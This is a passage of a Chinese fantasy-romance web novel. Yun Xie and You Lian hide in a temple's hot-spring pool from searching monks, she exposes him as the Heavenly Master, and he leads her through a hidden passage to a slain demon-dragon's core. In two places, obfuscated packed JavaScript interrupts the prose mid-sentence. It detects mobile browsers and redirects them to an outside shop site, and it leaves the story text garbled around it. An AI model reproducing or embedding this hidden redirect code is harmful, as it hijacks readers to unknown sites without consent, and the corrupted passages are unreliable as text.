云歇被游莲拽住手腕往帘子那边走。 擅闯是贼,既不想大动干戈,又不想被人发现,最好的法子自然是躲起来。 云歇实在憋屈,走到一半想起来,她可以破开虚空直接遁到别处,何须躲躲藏藏? 当即反拽住游莲手腕,想跟他说话。而在这时,游莲一手扶帘,回过头来,似乎也要跟云歇说些什么。 雾气忽然更浓了,从掀开的帘子后带着热意蒸出来,拂面而过。 目力影响了些微听觉。云歇看着游莲嘴唇微启,正要听听他说些什么。然而下一刻,游莲整个人凭空消失在了眼前。 嗯? 他消失得太快,快到云歇有一瞬不知所措,理不清发生了什么事情,那么大一只人影说不见就不见。 慢半拍向下望,与此同时,手上一重,未松开的牵握因为前一个人猝不及防的下坠,将她一并扯了下去。 扯下去哪里? 失重,瞬间没顶。 铺天盖地的窒溺感,蒙上口鼻。 比空气沉重,比雾气真实,温热流动着,四面八方,到处都是。 水。 帘子后竟然是个水池子! 向地里挖出的一个大池子,水面几欲与地面齐平,没有台阶过渡缓冲。以至于挥帘进来,一步踩空,连水花声响都没来得及激起,整个人就掉了进来。 究竟是谁将她害得这样狼狈! 55. 乌折(6) 一池静水搅得浑浊。 推出的水波涟漪冲撞视线,看不到边界,脚蹬不到底。云歇胡乱拨了几下,手腕传来一股拉力。 那股力道从头到尾没松开过,刚刚掉下来时还接了云歇一下。 墨水一般糊开的,是她的衣袍长发,忽然挤进一抹白。池子里太暗了,什么也看不清,黑白掺浮成一团。 云歇蓦地转头,脸侧贴过来另一个人的温度,视线受阻,熟悉的眉眼唇若隐若现,隔着晃荡的水波。 他在极近处,沿着手腕臂膀往上,手掌按上云歇脊背,轻轻拍了几下,安抚般。 意思是,不要动。 这时,水中传来另一种极其细微的颤波,从地面敲震下。这间房的门被从外打开了,有人走进来,不止一二人,四面巡查,缓缓往里。 游莲手指向下指。 云歇了然,任人带着往更深处游。 这个水池子不仅大,而且深,几乎有近丈高。 云歇边努力趟水边在心里骂:究竟是想淹死谁! 池子上头没有点灯,只有透进帘子的微光,水面一滤,到不了池底。越往下越暗,最后几乎伸手不见五指。 池底的水波涟漪平了,不再扰乱视线,却是干脆黑得什么都看不到。只有拨动时闷闷的声响涌进耳膜。 看不到,全靠碰触感觉。 压在身上的水越发重,游莲停下来,云歇判断该是到了边缘,一伸手,碰到东西。衣服早湿透了,但水下指腹摸不出。软软硬硬,像软棉里包着硬骨。一捋过去,还挺宽。 是他的肩,还是背?未及摸到答案,那里已经裹了过来,胸腹贴上颈背,将她抱着往池底夹角的阴影最里处坐。 池面被抚平,如同没有人掉进去之前一样。 几乎是云歇坐到游莲腿上的同时,洒落水面的微光霍然亮了许多,紧接着,数道火把挥了进来,投下的火光杂乱无章,险险擦过水底飘荡的衣袂。 帘子掀起来了。 脚步声敲击地面,敲进的水波震荡逐渐大。 箍在云歇腰间的手臂紧了紧,往怀里带,向更深处藏。 水好热,热意无处发泄,直往体内倒灌。越来越热,像是底下架了一堆柴火噼里啪啦在烤,烤得人心烦意乱,心浮气躁。 比肺腔里即将告罄的空气还紧迫逼人。 池边出现几个人影,来回走动,说话声模糊地传下来。 “池边怎么是湿的?” “蒸的吧,瞧这满屋子白汽。” “看起来哪里有地方躲,总不能是池子底吧?” “你再照照。” 话落,一把火光又晃了下来,拿火把的那人弯下腰,想看到更底下,脸离水面很近,折射得畸形歪曲。 扭曲面孔和那点火光投入云歇瞳孔,她往后又退了一退。 池壁池底很滑,手掌腰背又被握着箍着,毫无着力点。后面人又配合,顺势敞开怀抱。一坐下去,脊背与身后胸膛挤得再无最后一丝缝隙。 云歇才发现,似乎坐得有些重。 不知是坐到了哪里,感觉背后人身体微微一抖,气息一乱,咕噜一声,吐出个气泡泡。 气泡泡招摇晃过云歇耳旁,鼓腾着往上飘,就要上去通传消息。 云歇能在水中屏息数个时辰,但游莲显然不能。 冒上去不仅气泡炸了,上面的人也要炸了。 当机立断,云歇挥手掐碎那串泡泡,碎得冒不出烟气。她再反手一按,向后捂住游莲嘴巴,不让他再有机会泄露踪迹。 这一下是真的狠。 始料未及,身下人剧烈一颤。 下一刻,游莲松开握她的手,伸来掰云歇捂嘴上的夺命掌。云歇不让,另一手抓住他手腕,待要反拧去背后,那截手腕已像滑不溜丢的鱼,一转就挣开了。 环在腰间的手也握向肩头,要将云歇向前扯开,哪怕是一条缝隙。云歇腿一侧,将他的腿也夹住。 上头又有说话声嗡嗡嗡,沉沉敲到水底,这回谁也顾不上听。 惊动水面,就是惊动上头的人。 顾及着,两人动作克制,只暗中施力。肩挤着肩,肘抵着肘,腰背抵磨,全都闷在深又重的水下,进行一场无声博弈。 水面平静,一无所获。 池边的人搜查完了,移开火把,依次退出去,撂下帘子。鞋履踏下地面的震荡逐渐小,逐渐远。 咔哒,门从外关上。 屋中彻底静下,帘子后这处也是一片寂静。 忽然,池子一角开始咕噜咕噜冒出泡泡,像是终于煮沸了。几声哗啦作响,满池水翻腾起来,层层溢出池边,湿到帘子外。 哗啦,水面猛地破开。 “你……我……”游莲头仰在水面,急促喘息,半晌说不出话,脸到脖子根全红了。 云歇拽着沉重衣袍,涉水往池边走。 袖口一紧,被扯住。 “就这么……走了?”游莲还倒不过来气,匪夷所思,“我差点被你捂死。” “活该。谁让你吐泡泡?” “你……”游莲扯云歇袖子不放,拉近了,去拽她的手,“你捂我嘴就算了,你还顶我的肺。你到底是让我死呢,还是让我死呢?” 手被扯着摁去他的胸膛上,那处剧烈起伏着,似乎真被顶得狠了。还能摸到旁边心脏的跳动,生机勃勃。就这么在云歇的注视下,越跳越快,越跳越快。 这种跳法,真的不会爆开吗? 云歇提出疑问的前一刻,游莲撒开手,原地翻了个身,弓腰面朝下,只露出鼻子以上呼吸,命不久矣的颓丧模样。 “算了,我歇一会儿。” 云歇不管他,自己走。又被扯住。 游莲从后绕过来,绕到云歇面前,振振有词:“你刚把我弄成那样,这就又要走了?放我一个在这里,万一有什么后遗症,淹死了怎么办?” “哪有这样子的?”他笑一笑,恰恰发上滚落一滴水珠,滚到眼睑连去眼尾的那扇褶皱。那一扇褶皱开合间,勾得极美。 眼睑又一眨,水珠滚到唇角梨涡。 云歇嘴里一句“死了算了”硬憋回去,看着他道:“那你想怎么样?” “陪我一下。” 云歇被缠得没法,便陪了。飘在水面上仰头望天,放空,缓一缓刚刚那一遭荒唐事。 “你知不知道这里有个池子?” “知道。”游莲点头,“只是没想到这么近,一脚就踩空了。” “踩空还不放手。”云歇转头盯他后脑勺,“你是故意的吧。” 游莲笑着打哈哈。 云歇又问:“这里是哪儿?” “天师祭祀前斋戒沐浴的地方。” 洗澡水? “不用担心,天师许久没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116585|127821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有来过。庙里也没人敢私自进来,水是干净的,且是活泉。山上引下来的温泉,养气活血,多泡泡有好处。” 云歇感觉自己的血已经活得不能再活了,热意奔涌。 “什么破池子挖成这样,他就不怕崴断脚?” 游莲摸摸鼻子,道:“可能,他自己也是头一回知道?” 什么破池子破天师,云歇通通不想搭理,只想赶紧离开这鬼地方。 正想催促,身旁水声扬起,她侧目望去。刚刚半死不活的人似乎缓过气来了,稍稍直起身,肩背仍是微微绷着。白衣湿透近乎透明,紧紧贴着。水面平静明澈,可以看到更底下,宽肩往下肌理缓收,收到腰间一下束得极窄。 他有意无意地背朝着云歇,“好了,你先出去吧。” 云歇正有此意,走出一半,回头道:“你一直泡在水里干嘛?” “嗯……”游莲侧对着,眼神虚虚飘了一飘,“泡着还挺舒服的。” 热汽蒸得云歇火气直冒:“你还没泡够?” 游莲继续眼神飘,看天看地,就是不看她。 云歇看着游莲脸上冲到头顶的红晕,疑心他都要烧干了。 “衣裳太湿了,走出去滴滴答答,不是留下痕迹被人抓嘛?”游莲灵机一动,道,“不如——” 没听他“不如”下去,云歇说:“我帮你弄干。” 说这话时,云歇已经走到台阶上,浸重衣袍的水汽蒸起白雾,一散。待站到池边,她周身再不见一点水滴,居高临下盯着他。 游莲往水里又埋了埋,道:“刚好、刚好我今天还没洗澡,这里的水正正合适。” 说着,他的手已经摸到腰封,作势要解。 云歇再不与他浪费时间,果断挥帘出去。 和里头一比,外间竟然显得凉快,雾气淡去不少,窒闷的水汽热意全数挡在后头的蒸笼。 隔窗望一望外头。 许是搜寻不到,巡逻武僧已经四散开。但今夜的防守,应会加强人手。云歇听到许多道脚步声从各处推门而出,集合往一处。 此地不宜多留。 不多时,里头人撩开帘子出来,衣袍干燥洁净,想是换了新的,湿的扔回芥子戒里。头发半湿不干,拧过几把,不滴水。浅浅的红还挂在他两颊耳颈边,一团一团,胭脂涂不均匀一般,白里透红。 像他早上剥开的那颗桃子。 迎面撞上云歇眼睛,游莲目光一闪,道:“好了,我好了。” 云歇当然看出来他好了。游莲身上有什么不对劲,但云歇找不到证据,转了一圈,挑他头发的刺:“头发还湿着。” 游莲捋了一缕看,说:“没关系,不滴水就行。” 云歇手一拂,将他头发弄干了,掐诀的手没放下,捻起一缕,问:“为什么会学不会?” 游莲反应了一会儿,才明白她在问什么。 “没时间。” “需要什么时间?你会的全是杀招,怎么,天天有人要索你命不成?” 被问的人沉默着,长睫被残余水珠坠得低垂,遮在眼下。继而,他以一种云歇看不懂的目光看她一眼,随即转开落去不知名处。 “因为曾经太弱了。” “原来如此。”云歇转到游莲面前,那缕发跟着一起牵了过来,往他胸口重重一摁,“如今却是不同了。” “对不对?天师大人。” 56. 乌折(7) 被主人家诓着,在他家跑了个来回,跳崖又跳水地奔忙了一个晚上之后。 云歇对这件事情一点都不恼。 不仅不恼,还很有闲情地环胸,等人说话。 早在一路过来,祭水庙各处秘辛,与巡逻时辰,游莲皆如数家珍侃侃而谈,云歇便有七八分确信。 余下两三分,则在眼前人瞬间表情凝固的脸上找到答案。 谁曾想,人愣不过片刻,随即恢复如常,没有慌张失措,没有一点心虚。游莲浅浅弯眸一笑,道:“啊,果然瞒不过你。” “我就说,我的——当家的这么聪明,肯定一猜就猜出来了。” 他还很是与有荣焉的模样。 “寄人篱下,招摇撞骗。”云歇念着这几个字,轻笑一声,“还真是,今晚又被你骗了一回。” 说完衣袖一甩,不再停留,她转身推门出去。 游莲停在原地,脸上血色瞬间褪去,望着凉风中吱呀摇晃的两扇门,顾不得其它,抬腿追出去。 温泉水里带出的暖雾在夜风中刮个干净,忽然比来时冷得多,寒意往微敞的衣襟袖口灌。 “今晚我并非有意骗你。只是——”游莲少见地张口结舌。 但不由得游莲再有斟酌言辞的机会,将将要抓进手里的黑袖子化虚散开,抓了个空。 云歇行得极快,如踏风雾,衣袍掠成残影,数次与巡逻队伍擦肩而过,没有惊动一片花叶。 一黑一白两道在屋脊上起落,你追我赶。间或,黑影被白影即将追上,但下一刻,黑影消失,再次出现在另一道屋脊上。 云歇转身,隔着夜风和几步距离,游莲站上同一屋脊。只见他伸手,凭空拽出一条金色长鞭。 说是长鞭,也不太像。金色梵文头尾相扣,扣成细长柔韧的一条,虚空中扯出时溅开细细的火花。云歇闻到空气高温灼烧的焦味。 好啊。 云歇看着有趣,好整以暇问:“你要绑我?” “我倒是想。”游莲自嘲,摇摇头,道,“这鞭子抽出的伤口三月内无法愈合,每日都如火烧一样剧痛难忍。你实在生气,不如拿这鞭子抽我几下,泄泄火。” 他走近,这回云歇没有跑。看他把鞭子塞自己手里,她握在手中,无真形无实体,很凉,挥出的风却是灼热。 云歇拿着绕了几圈:“抽你,然后呢?” “然后,”游莲说,“让我尝尝欺骗你的代价。” 这句话一出,倒是让云歇有几分心动。 云歇正掂着要不要试试手感,又听游莲道:“若是我一开始就和你明说,你不会信我,更不会理我。” 闻言,云歇微一挑眉,问:“你很了解我?” “或许我不了解你。”游莲微微一扯嘴角,“但是云歇,现在我的下场,不会比不渡域那几位琅霄派好到哪里去。” “是吗?” “不是吗?” 嗯。云歇被说服了,听着很有道理。 的确,若是如那些正道人士一般做派,天天斩妖除魔挂在嘴边,时不时就要拔剑出来秀上几招。远远瞧见,不说别的,云歇拔腿就跑。哪还能留他天天在旁边当家长、当家短的。 “而且,”游莲的声音放得愈发低,似是自己没甚底气,还要拿出来试探别人,“到现在,我究竟是谁,是什么身份,对你来说有区别吗?” “有的。”云歇迎着他陡然变化的目光,说,“只是吆喝一声就能进门,偏要做一堆鬼把戏。又跳山,又跳水,你在池子里喝自己的洗澡水喝饱了吗?” 游莲不自觉绷紧的下颌线条缓了缓,轻轻一笑,说:“有点涨肚子。” “活该。” 游莲长睫微垂,不动声色观察眼前人,忽然发现有些不对劲,“你没有生气?” 云歇纳闷反问:“为什么要生气?” “那你为什么转身就跑了?” “你太磨蹭。” 这方屋脊陡的陷入沉默,只余衣袂猎猎飘飞。 面前人抬手捂眼,挺拔的肩背微微垮下,松出一口气,劫后余生般哀叹:“你吓我一跳。” 云歇看他一眼,道:“你的手抖什么?” 游莲捏紧手掌,跟在云歇身后跃去墙后阴影处。刚落地,一队巡逻武僧自二人方才站立的屋顶下走过。 “我怕被人捉走。” 云歇抽空往后横他一眼,“天师大人好大的威风,谁人敢捉你。” 游莲亦步亦趋,看着金色梵文细密绕在她腕上,道:“自然是捉回去当牛做马。听听藏经阁里他们说的,不止一二波人等着往我背上插刀。” “天师这两个字听着了不起,不过是借了个天字的傀儡罢了。难道我当真能让上天做什么,上天就一切皆随我愿吗?”游莲语气怅惘,“不能,只能讨得一二分天时地利,就是招摇撞骗咯。” 云歇点头:“也是,真是可怜。” “是吧。”游莲一顿,有些无奈,“你这么配合,我有些编不下去了。” “嗯。继续。” 游莲扶额道:“让我想想怎么编。” “不如编一编,你是怎么杀的那条妖蛟。” 云歇说这话时,正好走到藏经阁附近。 不用辨别方向,满座风铃响如碎玉,不间断在夜风中吹响、飘远。 云歇低眸扫过游莲手腕。 那条红绳早在爬山前便被他收了起来,不然叮铃一路,跟暴露踪迹有何区别。不知道该说他有先见之明,还是存心使坏。 藏经阁矗立在整条龙身的龙头处,虽说那妖蛟只余一具残骸,但因历数重天劫,只差一步化龙,即便身死,磅礴的灵力散去各处,满山中弥漫。 竟是经年不散。 尤指这处藏经阁最为浓厚,教云歇心心念念。 推门而入,人去楼空,灯火通明。 主人家褪去伪装,闲然自得为云歇带路,边走边道:“四年前,乌折陵遭洪水天灾,我过来查探,却发现——” 云歇已经知晓:“其实是妖蛟现世。” 游莲点头,手背挡去云歇身侧突出的一角书架,道:“它在化龙,将乌折陵翻成劫场,要用数千条人命为它抵挡雷劫。好好的蛟不当,也不当人,我只能送它去见阎罗算账了。” 他语气轻描淡写,但以凡人之躯与大妖对抗,其中艰险,云歇可以想象。四年前,当时他几岁?十七?还是十八? 云歇又问:“打了多久?” “一天一夜。”游莲向云歇伸手,“借你手上的东西一用。” 东西?云歇低头,发现是她不知不觉缠在手腕上的那条金色梵文。乖顺得像条拔了毒牙的蛇,被游莲解开拿去时,细细的尾巴恋恋不舍地蹭过云歇掌心。 乖顺的蛇到了游莲手上,便成了出窍的剑,锋芒锐利,又像无形的水,任其掐圆捏扁地变化出各种形状。 最后就见光芒一刹爆开,变幻为一轮八卦阵盘,盘旋在游莲掌心。梵文列在阵盘其中,瞬息间千变万化,无数复杂图案一一闪过。紧接着,阵盘被推向前,扣去面前的一扇门。 这扇门开在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128012|127821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旋上塔顶的木梯下,隐藏在无数摆放经书卷轴的巨大架子中间。塔内亮灯无数,唯独没有给来这里一盏,若不是游莲领路,云歇不会注意到。 阵盘一嵌合,整扇门爆出刺眼的金光。而在金光爆开之前,云歇眼前已教人用手掌捂住。微微的光透进他指缝,渐渐变暗。 游莲挪开手,眼前的门消失了,露出一个窄窄的豁口,昏暗中,隐约瞧见一道阶梯向下。 竟是通往地下的秘道? 这扇门该是为掩藏洞口而设下的障眼法,只有特定的阵法才能打开。而云歇刚刚全无察觉,更没有发现这里竟然设了阵法。 她的感官何时变得这样钝了? “佛法中不为外人道的秘辛,藏点东西还是足够的。”游莲拿下旁边一盏灯,大约是塔里摆满易燃物的缘故,这里的灯不用明火,而是用某种附着荧光的宝石,扣进特质的灯架上。 微微发白、更似月光的光亮洒落在前襟,将他眉眼揉得艳丽非常。游莲回头朝云歇伸手,道:“走吧,带你去看一些更见不得人的东西。” 见不得人。 没有哪四个字更好形容这条秘道。 而从地底下涌上来的风,带进的某些讯息,告诉云歇值得一去。 一进去,身后的门又凭空出现,封住入口。眼前只剩细细长长通往地底下的一条窄路,尘封已久的腐朽味道。以游莲手上这盏灯,目前看不到尽头。 路窄,容不下两人并行,游莲落后半步,提着灯,时不时提醒脚下当心。 云歇自认走过的路比他投胎几辈子走的都要多,自然不可能在这种地方来个平地摔,嫌游莲烦,正要撒开手,听见他说话。 他说起了前面断开的话头:“妖蛟当时在历劫中途,耗去半身修为,不堪一击,叫我捡到便宜。” “怪不得。” 游莲听出点别的,微微一顿,重复:“怪不得?” 云歇接着说:“四年前,我本打算要来这里一趟。” 游莲停下脚步,手指扣在云歇手腕,带得她也停下,回头迎上他惊疑不定的目光。他忽然变成一只只会学舌的鹦鹉,仍是重复:“四年前?” “对。”云歇面色如常点头,不解他的异常,“出发前一天,妖蛟身死的消息传回来,我就没去。原来是你干的。” 余下的路,游莲走得很沉默,手中灯架捏得嘎吱作响。 窄路的尽头是另一扇门。 游莲掌心阵盘成型,将将按到门上,四面密封的秘道中,陡然刮起一阵风。云歇鬓边发掀动,望去门后,听到了某一种类似于心脏鼓动、雷云酝势的声响。随着阵法解封,逐渐大、逐渐沉。 当年妖蛟现世,云歇欲往乌折陵一探虚实,不是为贺大妖化龙,而是为了杀戮。 新势力的崛起,意味着旧世界的洗盘,而现有规则不允许轻易更改。天劫之后,意味着你将迎来此生最大的死门,敌人个个欲置你于死地。如今每一个搅动风云的大妖领主,都是如此从血路中杀出。 要么吞掉旧领主及领域上位,要么被剖出妖丹吃下,身死魂灭。没有第三条路。 四年前,听闻那妖蛟陨落,妖丹被击杀的道人一剑碾碎,云歇便失去了兴趣。 她也以为,这漫山遍野弥漫的妖力,不过是日落后的辉煌余晖。 阵法破,洞门开。游莲掌心光芒渐消。 “我曾经想,这东西可能永无见天日的时候,但又想,万一呢?” 门后,于梵文锁链中徐徐转动的,正是那一颗从妖蛟体内剖出的妖丹。